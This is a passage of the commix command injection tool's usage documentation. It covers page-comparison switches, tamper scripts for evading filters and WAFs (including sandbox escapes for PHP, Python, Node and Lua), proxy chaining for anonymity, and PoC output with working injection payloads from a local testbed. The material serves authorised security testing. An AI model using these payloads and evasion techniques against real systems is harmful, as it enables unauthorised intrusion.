byte-identical twice for reasons that have nothing to do with any parameter - a live
ping's round-trip times are the case here - that comparison still holds, rather than quietly loosening the bar to whatever the noisiest pair happened to show.
python commix.py --url="http://commix-testbed/scenarios/stateful/decoys.php?addr=127.0.0.1&fixed=anything&blank=" --skip-static --text-onlyPoC (against multiple_params.php, whose every response re-runs
a real ping): addr and count both read as dynamic - count is the one of the three that
actually reaches the shell, and is confirmed:
[warning] Target URL content is not stable (i.e. content differs). Page comparison is based on a sequence matcher, with the parts that move on their own left out. If no dynamic nor injectable parameter is detected, or in case of junk results, give it a go with the switch '--text-only'.
[info] Testing if GET parameter 'addr' is dynamic.
[info] GET parameter 'addr' appears to be dynamic.
[warning] GET parameter 'addr' does not seem to be injectable.
[info] Testing if GET parameter 'count' is dynamic.
[info] GET parameter 'count' appears to be dynamic.
[info] GET parameter 'count' appears to be injectable via results-based classic command injection technique.
Switch: --titles
This switch compares pages by their title and nothing else. A page can carry a counter, a session id and an advert and still be the same page, while its title is the one line naming what the target decided to render - so where everything around it moves on its own, the title is what a true answer and a false one can still be told apart by. A page with no title compares as nothing at all, which is why this is worth giving only where the titles are known to differ between the two branches.
python commix.py --url="http://TARGET/search.php?q=1" --technique=b --titlesSwitch: --text-only
This switch compares pages by the text they show, leaving out scripts, styles, comments and the tags around them. On a page that is mostly markup, what a command prints is a handful of characters against kilobytes of layout, and comparing the pages whole makes that difference too small to read.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --text-onlySwitch: --lengths
This switch bisects on how long the page is rather than on what it says - learned the same way the content-based comparison is, from the lengths of the two pages a known true/false question came back with during calibration. Cheaper to compare than full content, and still usable where content comparison cannot tell the two apart at all (a page masked identical either way still carries a different length).
python commix.py --url="http://commix-testbed/scenarios/regular/GET/blind.php?addr=127.0.0.1" --technique=b --lengthsPoC: the boolean-based technique confirmed on length alone:
Identified the following injection point(s) with a total of 87 HTTP(S) requests:
Parameter: addr (GET)
* Technique: Boolean-based
* Type: Blind command injection
* Payload: 127.0.0.1;SHMQ=$(echo KJPGKM);[ ${#SHMQ} -eq 6 ];
Switch: --null-connection
Past a minimum page size - settled once, from the page the boolean-based calibration itself already fetched - the Content-Length header is read back on its own, and the body is never downloaded at all. Every probe answers on length alone this way, the same comparison --lengths uses, but at a fraction of the bandwidth on a large page; a response with no Content-Length to read (a chunked one) is answered the ordinary way instead, body and all.
Important
- Compression is turned off for the duration of this one request - a compressed response's
Content-Lengthnames the size on the wire, not the size the calibration lengths were measured on, and the two would never compare to anything meaningful. - There is no body to look inside, so this switch is dropped where one of
--string,--not-string,--regexp,--text-onlyor--titlesis given as well, and commix says which one it was dropped for. Both were given to tell a true answer from a false one, and the one that can still be answered is the one kept. -
--codeand--lengthscombine with it as they are: a status code and a length are both read off the header this switch already fetches.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/blind.php?addr=127.0.0.1" --technique=b --null-connectionSwitch: --disable-stats
An answer that arrives late is ordinarily judged against a model of how long the target takes to answer when nothing is asked of it. This switch turns that model off, so that an answer is read against the delay the payload asked for and nothing else - and the requests that would have filled the model are not spent.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --technique=t --disable-statsPoC: the usual "requires a larger statistical model, please wait..." warmup line - present on every other time-based run in this file - never appears here; the time-based test goes straight ahead:
[info] Testing the time-based blind command injection technique, please wait...
[info] GET parameter 'addr' appears to be injectable via time-based blind command injection technique.
Option: --failed-tries=NUM
This option limits how many boundary combinations may fail to write the output file before the file-based technique stops trying the web server's document root and offers a temporary directory instead.
Left unset, the limit is the number of combinations there are to try, capped at 50. A set of boundaries small enough to get through is therefore gone through in full first: the combination that answers is as likely to be the last of them as any other, and stopping one short of it makes a perfectly writable document root look unwritable.
A value of less than one is refused on the command line: it would stop the search before its first turn, and what gets reported then is a document root that answered nothing rather than a limit that could never have been met.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --failed-tries=3 --technique=fPoC (--technique=f isolating the file-based technique
this option applies to): the document root cannot be worked out from the target, so the directory menu is offered and --batch takes its default. The first common location is writable here, so the write succeeds well inside the three tries and the file-based point is confirmed rather than abandoned:
[info] Testing the file-based blind command injection technique, please wait...
[warning] Unable to automatically retrieve the web server document root.
What do you want to use for the writable directory?
[1] Common location(s) ('/var/www/html/', '/var/www/localhost/public_html/', '/var/www/localhost/', ..., 10 total) (default)
[2] Custom location(s)
[3] Custom directory list file
[4] Brute force search
> 1
[info] Attempting to create a file in common location(s) for execution output.
Do you want to use a random file 'XORUEK.txt' to receive the execution output? [Y/n] Y
Do you want to use the URL 'http://localhost:8081/XORUEK.txt' to receive the execution output? [Y/n] Y
[info] Continue testing the file-based blind command injection technique, please wait... (done)
[info] GET parameter 'addr' appears to be injectable via file-based blind command injection technique.
Identified the following injection point(s) with a total of 11 HTTP(S) requests:
Parameter: addr (GET)
* Technique: File-based
* Type: Blind command injection
* Payload: 127.0.0.1;echo XORUEK >/var/www/html/XORUEK.txt;
Where none of the directories tried can be written to, that is when the limit matters: the sweep stops after this many failures and offers a temporary directory instead, rather than working through every remaining boundary first.
Switch: --smart
This option enables smart scanning mode, performing in-depth injection tests only when initial heuristic checks suggest a strong chance of vulnerability. It enhances scanning efficiency by reducing unnecessary tests on safe parameters, lowering false positives, and shortening overall scan time.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --smartPoC: with the point already known from an earlier session, the resumed result is confirmed without repeating the full technique sweep:
Resumed the following injection point(s) from stored session:
Parameter: addr (GET)
* Technique: Results-based
* Type: Classic command injection
* Payload: 127.0.0.1;echo TCZNCP$((38+20))$(echo TCZNCP)TCZNCP;
The miscellaneous options in commix provide additional control over the tool’s behavior and environment. They include settings for dependency management, output formatting, user interface modes, environment simulation, and operational controls such as logging and data management. These options enhance flexibility and usability, allowing users to tailor commix to different testing scenarios, environments, and user preferences beyond core injection functionalities.
Option: -z MNEMONICS
This option takes a comma separated list of mnemonics, each one standing for an option named by as
much of its name as it takes to tell it apart from every other. -z "flu,bat,tec=rt" therefore says
what --flush-session --batch --technique="rt" says. A mnemonic that names an option taking a value
carries it after an =; one that names a switch stands alone.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" -z "flu,bat,tec=rt"A mnemonic that could be read as more than one option is read as the shortest of them, and commix
says which the others were, so a mnemonic meant for one of those can be lengthened until it names it
alone. A mnemonic spelled out in full always means that option, even where it is the prefix of
longer ones - -z "skip" is --skip, never --skip-calc.
[07:26:22] [warning] The mnemonic 'sk' names '--skip-heuristics', '--skip-urlencode', '--skip-xmlencode', '--skip', '--skip-technique', '--skip-calc', '--skip-subst', '--skip-empty', '--skip-static', '--skip-waf', and is read as '--skip'.
Note
- A mnemonic naming no option at all ends the run rather than being passed over, as does one that leaves out the value its option is given.
- Commas separate one mnemonic from the next, so a value that contains one - a list of tamper scripts, say - is given to its option spelled out instead.
- What
-zsets counts as the command line having spoken, so it overrides a profile loaded with-cin the same way a spelled-out option does, and is not itself written to one by--save.
Switch: --dependencies
This switch reports every third-party library and tool commix can make use of, saying which of them
this host already has, and ends the run. Only sqlite3 is needed by every run; each of the others
is named beside the option that needs it, so an absent one costs that option alone.
python commix.py --dependencies[07:26:18] [info] Checking for third-party dependencies.
Third-party dependencies
========================
Name Installed Description
---- --------- -----------
sqlite3 yes Storing the injection points and commands of previous runs.
readline yes TAB completion and command history in the shells.
yaml yes Reading an OpenAPI description written in YAML ('--openapi').
git yes Updating to the latest revision ('--update').
metasploit-framework no Handing a session over to Metasploit ('--msf-path').
[07:26:18] [warning] Missing third-party dependency: 'metasploit-framework'.
Note
- The
readlinerow is named after whichever ofreadline,gnureadlineandpyreadlineis providing TAB completion, and after the one this platform would install where none of them is. - To run anyway with a dependency missing, see
--ignore-dependencies.
Switch: --ignore-dependencies
This option instructs commix to ignore all required third-party library dependencies. It is useful when running in environments with partial setups or where dependencies are managed manually, allowing the tool to operate despite missing or incomplete libraries. Use with caution, as skipping dependencies may lead to reduced functionality or unexpected errors.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --ignore-dependenciesThe scripts below ship with commix and can be selected with --tamper, individually or several at a
time. --list-tampers prints the same scripts, in alphabetical order rather than the groups used
here. On disk they sit under src/tamper/ in the same
groups as the sections below, one folder per group - but --tamper= always takes the bare script
name regardless, never the folder it lives in (--tamper=nashornexec, not
--tamper=eval.javascript.nashornexec).
Each script declares what it is compatible with, and commix skips one that does not apply to the target or the technique in use rather than producing a payload that cannot work. The Applies to column below records those restrictions.
| Group | Count | Rewrites |
|---|---|---|
| Code injection | 11 | what an --eval language's own grammar produces - unevenly, five of them for PHP alone and none at all for Perl or PowerShell |
| Quoting | 12 | characters, so a command name, path or whole payload no longer looks the way a filter expects |
| Whitespace | 9 | the space between a command and its arguments |
| Obfuscation | 10 | the command itself - its name, its path, the order its characters come in |
| Timing | 3 | what the delay-based techniques wait with |
| Other | 1 | something other than the command - a request header |
Each of these rewrites what the grammar for one --eval language itself produces, reaching a sink
that cannot run that output unchanged - never a shell, and skipped entirely for every other
language.
| Script | Applies to | Description |
|---|---|---|
phpconcat |
PHP code injection only | Runs the command through a PHP function named in concatenated pieces ('she'.'ll_e'.'xec'). |
phphexname |
PHP code injection only | Runs the command through a PHP function named in hex ("\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63"). |
phpnoletters |
PHP code injection only | Runs the payload with no ASCII letter in it, reaching PHP's own execution functions through a name built from octal escapes ("\143\141\154\154..."), for a filter that rejects any letter outright. |
phpnosymbols |
PHP code injection only | Rewrites the three places a PHP eval-sink payload still carries a digit, a quote or a semicolon, for a target rejecting all three at once (along with '$' and '_', which the payload never needed in the first place). |
phpregreplace |
PHP code injection only | Carries the payload through a replacement string, doubling the backslashes it is written with and writing a backslash in front of a dollar sign that stands before a digit, for a sink evaluated by preg_replace()'s e modifier - which fills in the backreferences the replacement is read as naming before it evaluates anything. |
phpserverheaders |
PHP code injection only, not time-related | Moves the function and the command out of the payload and into HTTP headers it reads back through $_SERVER. |
pybuiltinsescape |
Python code injection only | Reaches every bare builtin the payload calls - __import__, open, len, ord, chr and the rest - through the subclasses of object, for a sink evaluating Python with {"__builtins__": {}} rather than its real ones. |
pyhexname |
Python code injection only | Runs the command through a Python module and function named in hex ("\x6f\x73", "\x70\x6f\x70\x65\x6e"). |
basicobjectescape |
Ruby code injection only | Runs the whole payload with Kernel as self (::Kernel.instance_eval{ ... }), for a sink evaluating Ruby inside a BasicObject instance rather than a plain eval(). |
jsvmescape |
JavaScript code injection only | Reaches the payload's own require() through the constructor chain (this.constructor.constructor("return process")()), for a sink evaluating inside a Node vm sandbox rather than a plain eval(). |
nashornexec |
JavaScript code injection only | Rewrites the payload's own require() calls into a Java-interop shim, and its arrow function into an ECMAScript-5 equivalent, for a sink evaluating JavaScript through Java's Nashorn engine rather than Node. |
luadebugescape |
Lua code injection only | Reaches the payload's own os/io calls through debug.getregistry()._LOADED, for a sink evaluating Lua with a restricted environment that leaves them out of it. |
Insert, wrap or re-encode characters so a command name, path or whole payload no longer appears the way a filter's own signature expects it.
| Script | Applies to | Description |
|---|---|---|
doublequotes |
not eval | Adds double quotes (") between the characters in a given payload. |
ansiquote |
ANSI-C quoting, not eval | Rewrites the command names and paths in a given payload as ANSI-C quoted hex ($'\x63\x61\x74'). |
ansiquoteoctal |
ANSI-C quoting, not eval | Rewrites the command names and paths in a given payload as ANSI-C quoted octal ($'\143\141\164'), for a filter blocking every letter (including the 'x' ansiquote's hex escapes need). |
backslashes |
POSIX shell, not eval | Adds back slashes () between the characters in a given payload. |
backticks |
POSIX shell, not --interpreter
|
Writes command substitution with backticks (`) rather than $(), from the point the script is taken on - so every payload of the run carries it, the first one included. A backtick cannot hold another one, so the separators that nest a substitution rather than chain two commands (& and &&) keep their older, variable-based shape while this is in use. |
dollaratsigns |
POSIX shell, not eval | Adds dollar sign followed by an at-sign ($@) between the characters in a given payload. |
dollarstars |
POSIX shell, not eval | Adds dollar sign followed by an asterisk ($*) between the characters in a given payload. |
nested |
POSIX shell, not eval | Adds double quotes (") around a given payload. |
printfoctal |
POSIX shell, not eval | Rewrites the command names and paths in a given payload as a command substitution of printf's own octal escapes ($(printf '\143\141\164')), needing nothing beyond a strict POSIX shell - unlike ansiquote/ansiquoteoctal, it works against dash too, not only bash/ksh/zsh. |
singlequotes |
POSIX shell, not eval | Adds single quotes (') between the characters in a given payload. |
unicodequote |
POSIX shell, not eval | Replaces single quotes (') with the fullwidth apostrophe (U+FF07, ') in a given payload, for a filter that strips a literal quote before a later Unicode normalization step folds it back into one. |
uninitializedvariable |
POSIX shell, not eval | Adds (randomly generated) uninitialized bash variables between the characters of each command in a given payload. |
Replace or remove the space character a signature expects between a command and its arguments.
| Script | Applies to | Description |
|---|---|---|
multiplespaces |
any | Adds multiple spaces around operating system commands in a given payload. |
space2htab |
any | Replaces space character (' ') with horizontal tab (%09) in a given payload. |
space2plus |
any | Replaces space character (' ') with plus (+) in a given payload. |
cmd2redir |
POSIX shell | Rewrites a user-supplied 'command path' as 'command<>path', folding the one space between them into a redirection operator instead, for a target that lets no whitespace through at all. |
space2brace |
brace expansion | Replaces the space character (' ') with a brace expansion ({a,b}) in a given payload. |
space2ifs |
POSIX shell | Replaces space character (' ') with the internal field separator ($IFS) in a given payload. |
space2ifsraw |
POSIX shell | Replaces space character (' ') with '$IFS$9' (no braces, no quotes) in a given payload, for a filter that blocks both at once. |
space2randomblank |
POSIX shell | Replaces every occurrence of the payload's own whitespace with one drawn independently from a small set of equivalents (a tab, ${IFS}, $IFS$9), rather than the one substitute every other space2* script settles on for the whole payload. |
space2vtab |
Windows | Replaces space character (' ') with vertical tab (%0b) in a given payload. |
A substitute that is an expansion (${IFS}, $IFS$9) is a separator only once the shell has
expanded it and split what it expanded, which is not what a shell does everywhere a space can
stand. Beside a keyword (if, then, fi and the rest), which is settled off the word as it was
written; after a command's own assignments, whose words are not split; in front of a digit, which
$IFS$9 is read together with as one longer and equally empty parameter; and inside a quoted
literal, where it is the string's own text rather than the gap between two words. commix writes a
tab in those places, or leaves the whitespace as it was, so the payload still parses as the one it
was built to be. The substitutes that are a character of their own - a tab, a +, a %20 - need
none of this.
Rewrite the command itself - its name, its path, the order its characters come in - so what a filter reads no longer matches what it is looking for.
| Script | Applies to | Description |
|---|---|---|
cmd2loop |
POSIX shell, not eval | Wraps the payload's command in a single-iteration 'for' loop, so it is reached through a shell keyword instead of a separator. |
cmd2var |
POSIX shell | Splits the name of the user-supplied operating system command across unset shell variables. |
cmd2wildcard |
POSIX shell | Replaces the paths in the user-supplied operating system command with wildcards (/[b]in/[c]at). |
dashlesstest |
POSIX shell, not eval | Runs test's numeric comparisons without a "-" of their own - equality as string comparison, ordering through expr, whichever side of the comparison holds the plain number - for a target that strips a bare "-" outright. |
noletters |
POSIX shell, not eval | Rewrites a bare command name in a given payload as a filename glob of the same length (echo -> /???/????), resolved by the shell against '/bin' rather than typed as a word. Only reaches a target whose '/bin' holds exactly one file of that length; an ambiguous match is left as the glob and fails outright. |
printf2echo |
POSIX shell, not eval | Prints with echo wherever a payload prints with printf, for a target that refuses printf by name, and reads a byte with `echo -n $char |
randomcase |
any | Replaces each character in a user-supplied OS command's name with a random case, read back by awk where the shell cares which case it was given. Only the name, on either target - a fold over the arguments would lower their own letters with it. |
rev |
POSIX shell | Reverses (characterwise) the user-supplied operating system commands in a given payload - read back by awk where the separator under test is a ; or a newline, and by rev through a pipe where it is anything else. |
slash2env |
POSIX shell, not eval | Replaces slashes (/) with environment variable value '${PATH%%u*}'. |
caret |
Windows | Adds caret symbol (^) between the characters in a given payload. |
Swap what the delay-based techniques ask the shell to wait with.
| Script | Applies to | Description |
|---|---|---|
sleep2timeout |
time-related only | Replaces 'sleep' with 'timeout' command in a given payload. |
sleep2ping |
POSIX shell, time-related only | Replaces 'sleep' with the wait between 'ping' packets in a given payload. |
sleep2usleep |
POSIX shell, time-related only | Replaces 'sleep' with 'usleep' command in a given payload. |
| Script | Applies to | Description |
|---|---|---|
xforwardedfor |
any | Appends a fake HTTP header 'X-Forwarded-For' (and similar). |
"POSIX shell" names what the script's syntax needs - $IFS, backticks, printf and the like - and
is enforced by skipping the script on a Windows target; "not eval" means the script is skipped when
testing for code injection (i.e. with --eval); "time-related only" means it applies to the
time-based and tempfile-based techniques alone; "not time-related" is the other way round - what the
script leaves in the payload only prints on a page, so it is skipped for those same two techniques,
which read their answer from a delay rather than from what the response shows.
"brace expansion" and "ANSI-C quoting" are each narrower than "POSIX shell": the target's shell has
to expand {a,b} where a command is expected, or read $'\x63' back as the character it names.
bash and ksh do both; a strict POSIX shell such as dash does neither, and a script needing one
of them simply finds nothing rather than reporting a target wrongly.
"PHP code injection only" and "Python code injection only" are the constraints that run the other
way. Those scripts rewrite the language the target evaluates rather than the shell it reaches, so
each applies only with its own --eval language and is skipped everywhere else - including against
a target that answers as a command shell.
cmd2loop decides what it can wrap from the payload in front of it rather than from the run it is
part of. It leaves the heuristic checks alone, because those ask the same question over several
separators at once so that whichever one the target honours answers it, and a loop would leave a
single command where there were three alternatives; the cmd.exe shape of those checks is passed
over on the same terms, recognised by what the payload carries instead of by an operating system
that is still a guess. Everything else - a payload that chains its steps with the separator being
tested - is wrapped whole, so the results-based, time-based, file-based and out-of-band techniques are
all covered, and a payload ending in a comment keeps that comment last so it still swallows
whatever the target's own command line carries after the injection point.
Several scripts given together are applied in a fixed order, each one transforming what the last produced, so their effects combine rather than replacing one another. Each is applied once per payload, to that payload alone - nothing a script does to one carries over into the next.
Switch: --list-tampers
This option displays a list of tamper scripts included with commix. These scripts help bypass filters, Web Application Firewalls (WAFs), or input validation mechanisms during testing, allowing users to select the most suitable tamper script for their target.
python commix.py --list-tampersPoC: the first few of the forty-seven, each with what it does to a payload:
[info] Listing available tamper scripts.
* jsvmescape.py - Reaches the payload's own require() through the constructor chain, for a sink evaluating inside a Node 'vm' sandbox rather than a plain eval().
* nashornexec.py - Rewrites the grammar's require() calls into a Java-interop shim, and its arrow function into an ECMAScript-5 equivalent, for a sink evaluating JavaScript through Java's Nashorn engine rather than Node.
* phpconcat.py - Runs the command through a PHP function named in concatenated pieces ('she'.'ll_e'.'xec').
* phphexname.py - Runs the command through a PHP function named in hex ("\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63").
Option: --alert=ALERT
This option executes the specified host operating system command(s) immediately when an injection point is detected. It enables automated responses such as triggering alerts, running custom scripts, or integrating with external monitoring tools upon successful vulnerability discovery.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --alert="sh sample.sh"PoC (sample.sh a one-line local script that appends to a log file): the command runs on the machine commix is running on, immediately once the point is confirmed - not on the target:
[info] GET parameter 'addr' appears to be injectable via results-based classic command injection technique.
[info] Executing alerting shell command(s) 'sh /tmp/commix_alert_test/sample.sh'.
and sample.sh's own log line was appended for real:
ALERT FIRED: injection point confirmed
Switch: --no-logging
This option disables logging output to files, displaying all results exclusively in the console. It is useful for ephemeral testing scenarios or when privacy concerns require avoiding the creation of persistent log files.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --no-loggingPoC: the closing "Fetched data logged to text files under '...'" line - printed at the end of every other run in this file - never appears with this switch on:
[info] GET parameter 'addr' appears to be injectable via results-based classic command injection technique.
[info] Re-run with the '--os-shell' switch to access a command shell.
Switch: --purge
This option safely removes all data stored by commix in its data directory, including cache files, session data, and logs. It helps reset the tool’s state between tests to ensure a clean scanning environment without residual information from previous runs.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --purgeSwitch: --cleanup
This option removes a file --file-write wrote, or a registry value (or key) --reg-add wrote, right after confirming the write - not deferred to the end of the run, since the technique state a deferred removal would need to replay moves on as the run keeps testing other things. It is opt-in: without it, what you asked commix to write stays exactly where you put it.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" \
--file-write="local.txt" --file-dest="/tmp/remote.txt" --cleanupPoC: the file is written, confirmed, then removed - and independently checking the container afterwards shows it is actually gone, not just reported as gone:
[info] Attempting to write the contents of file '/tmp/cleanup_test.txt' to the remote directory '/tmp/commix_cleanup_poc.txt'.
[info] The file has been successfully created in remote directory: '/tmp/commix_cleanup_poc.txt'.
[info] Cleaning up the file written to '/tmp/commix_cleanup_poc.txt'.
[info] The file '/tmp/commix_cleanup_poc.txt' has been removed from the target.
Switch: --unstable
This switch doubles the delay, the retries and the timeout the run works with, which suits a target reached over a connection that drops or answers unevenly.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --unstablePoC (with -v1): what the switch settled, and what it left alone because the run had already
been given it:
[debug] Doubling what an unstable connection needs more of, except where it was given: '--time-sec=10', '--retries=6', '--timeout=60'.
Switch: --skip-waf
This option disables commix’s heuristic detection of Web Application Firewalls (WAF), or other security mechanisms. It is useful when such detection mechanisms introduce false positives, slow down the scan, or interfere with payload delivery. Disabling WAF/IPS detection can improve performance and reduce noise in known environments but may also prevent commix from adapting payloads to bypass security filters.
Before any of that, the request stops naming commix: on consent the User-Agent becomes a browser's, drawn from the same list --random-agent reads, and the Accept and Accept-Language that go with it are sent in place of the catch-all */* a scanner sends. A filter that reads the User-Agent has settled what to do with the request before anything it carries is looked at, so no amount of rewriting the payload is an answer to one. A header you set yourself is left as it stands.
When protection is found, commix asks whether to try getting past it and, if allowed, turns on the evasion that suits the target: chunked transfer encoding when the request carries POST data, and a set of tamper scripts covering the whitespace, the command names, the character casing and the client address that the request appears to come from. The set is chosen for the identified operating system, and it is stored in the session, so a resumed scan replays whatever got through the first time. Providing --tamper yourself turns this off, since the choice of evasion is then yours.
Should everything still be blocked, the evasion is stepped up to a heavier set - one that breaks up the command names differently and moves to another whitespace character - and the techniques are tried again with it. What was detected and what was turned on is written to the JSON report, when one is requested with --report-json, so a finding reached through evasion is not left looking like one against an unprotected target.
A block does not have to arrive as a status code. A filter that answers in-band serves its own short page with a 200, and the application below is never reached - which anything reading the code alone takes for an ordinary answer, leaving the run to go on sending payloads that were refused before the sink. Such a page is told apart by how little it resembles the one the same target answered an ordinary request with, and is reported as It seems some kind of WAF/IPS is protecting the target, answering in-band.
Where the blocked response carries a recognizable signature, the product itself is named rather than spoken of in general terms - 'Cloudflare' is protecting the target. instead of It seems some kind of WAF/IPS is protecting the target. The same name is appended to the "blocked IP", "browser verification" and "CAPTCHA" warnings when one of those is what actually answered. Recognized today: Cloudflare, Akamai, Imperva Incapsula, F5 BIG-IP ASM, Sucuri, ModSecurity, FortiWeb, Citrix Application Firewall, Barracuda WAF, Wallarm and AWS WAF.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --skip-wafPoC: the "Checking whether some kind of WAF/IPS is protecting the target." line - present on every other run in this file - is skipped entirely, and detection goes straight ahead:
[info] Testing connection to the target URL.
[info] Setting GET parameter 'addr' for tests.
Switch: --offline
This option runs commix in offline mode, disabling update checks and any internet connectivity requirements. It is especially useful in restricted or air-gapped environments where external network access is limited or unavailable, ensuring uninterrupted operation without relying on external resources.
python commix.py --offlineSwitch: --wizard
This option starts a simple, guided interactive wizard tailored for beginner users. It walks you through essential configuration steps in a clear, step-by-step manner, making the scanning process easier to understand and use, especially for newcomers.
python commix.py --wizardSwitch: --disable-coloring
This option disables colored output in the console, producing plain text instead. It is useful when logging scan results to files, or when running commix in terminals that do not support color formatting, ensuring readability and compatibility.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --disable-coloringPoC: every other run captured in this file carries ANSI colour codes in its log lines (\x1b[94m, \x1b[32m, and so on); with this switch the same lines come out as plain text:
[09:14:52] [info] GET parameter 'addr' appears to be injectable via results-based classic command injection technique.
[09:14:52] [info] Fetched data logged to text files under '.../.output/localhost_8081/logs.txt'.
Commix supports reading target URLs directly from standard input (stdin), allowing seamless integration with other tools in a command-line pipeline. This enables powerful automation workflows where targets are dynamically discovered and tested in real-time without manual intervention.
Instead of specifying the --url option manually, you can pipe a list of URLs into commix. This is particularly useful when combining commix with reconnaissance tools such as:
-
waybackurls(for extracting historical URLs from the Wayback Machine) -
gau(GetAllURLs - for fetching known URLs from public sources) - or custom scripts that generate or filter URLs dynamically
Commix will parse each line of input as a potential target, applying its injection detection logic accordingly.
Advantages:
- Automation-friendly: Ideal for CI/CD pipelines and bug bounty workflows.
- Scalable: Test large volumes of URLs with minimal manual effort.
- Filterable: Combine with
grep,jq, orawkto include/exclude certain patterns before testing.
echo "www.target.com" | waybackurls | grep vuln.php | python commix.py --data="addr=1" --os-cmd="whoami" --batchA run says how it ended in its exit status, so a script gating on commix needs nothing parsed to know what happened.
| Code | |
|---|---|
0 |
An injection point was found. |
1 |
The run ended on an error - the target could not be reached, an option would not hold, something went wrong on the way. |
2 |
The run tested everything it was asked to and found nothing. |
1 and 2 are kept apart because a target that came back clean and a scan that never got to look
are not the same answer, and a pipeline that treats them alike reports the second as the first.
What went wrong in the 1 case is in errors in the
JSON report.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --batch
case $? in
0) echo "vulnerable" ;;
2) echo "clean" ;;
*) echo "the scan did not run - see the report" ;;
esacA single SOCKS proxy needs nothing but --proxy: --proxy="socks5://127.0.0.1:1080" puts it under every request the run makes. ProxyChains is for what that option cannot do - chaining several of them.
ProxyChains is a powerful tool that enables transparent routing of all TCP traffic through one or more SOCKS proxies, such as a remote VPS SOCKS tunnel. It supports multi-hop SOCKS proxy chaining (e.g., Tor → SSH Tunnel → VPS), providing enhanced anonymity and routing flexibility. That multi-hop chaining is what it adds over --proxy (which already talks socks4/socks5 natively, one hop deep) - running commix under it needs no internal configuration changes on commix's side at all.
To configure ProxyChains, edit its configuration file - typically located at /etc/proxychains.conf for system-wide settings or ~/.proxychains/proxychains.conf for per-user configurations. Then, add your SOCKS proxy entry at the end of the file:
# remote SOCKS proxy
# socks5 your.proxy.ip 1080Important
To prevent DNS leaks - where DNS requests bypass the proxy and could reveal your real IP address - make sure to uncomment or add the proxy_dns directive in your ProxyChains configuration file. Enabling this setting ensures that all DNS queries are routed through the proxy chain, maintaining your anonymity and privacy.
proxychains python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1"Reading the traffic in Burp Suite and leaving the network over a SOCKS proxy are two separate steps, and commix only needs to know about the first. Point --proxy at Burp, and give Burp the SOCKS proxy as its own upstream (Settings → Network → Connections → SOCKS proxy): every request is then readable on the way through and still leaves over SOCKS.
Where Burp is not in play and something else has to do the forwarding, a tool such as redsocks can stand a local HTTP endpoint in front of the SOCKS proxy, and commix is pointed at that instead.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --proxy="http://127.0.0.1:8080"Either way commix is given one
HTTPproxy to talk to, while what happens past it - inspection, aSOCKShop, or both - is settled outside the run.
Dive deeper into commix’s features with practical, battle-tested strategies that boost your testing efficiency and fine-tune your precision in real-world scenarios.
-
Dive into a rich collection of practical, real-world examples demonstrating how commix can be leveraged against popular vulnerable targets such as DVWA, Mutillidae, and various specialized testbeds. The usage examples section offers step-by-step examples illustrating everything from simple injection points to complex exploitation scenarios.
-
Master the art of evasion with advanced payload tricks, creative encoding methods, and innovative techniques designed to bypass common input sanitization routines and Web Application Firewalls (WAFs). The filters bypass examples section, covers a range of evasion techniques - such as whitespace manipulation, character encoding, separator chaining, and other advanced methods - to help you effectively bypass defenses.
-
Unlock the power of commix with comprehensive examples for gaining interactive access to your target systems. The getting shells section offers step-by-step examples on delivering, triggering, and maintaining reliable shell access throughout your assessments.
At the right side panel, you can find detailed information about Commix Project.
- Features - What commix implements, at a glance
- Usage - Exhaustive breakdown of all options and switches together with examples
- Techniques - Techniques supported by commix
- API - Driving commix over HTTP, a scan at a time
- Download and update - Keep your copy up-to-date
- Module development - Guide for extending commix with custom modules
- Third party libraries - Third-party components used by commix
- FAQ - Frequently Asked Questions
- License - Copyright information
- Usage examples - Real-world examples of using commix against vulnerable applications
- Filters bypass examples - Payloads and techniques used to evade input filters
- Getting shells - Getting an interactive, reverse or bind shell
- Presentations - Conference talks and public presentations featuring commix
- Screenshots - Visual examples of commix in action
- Third party references - References to commix in books, articles, research papers and blog posts
- Command injection testbeds - Deliberately vulnerable targets for safely testing commix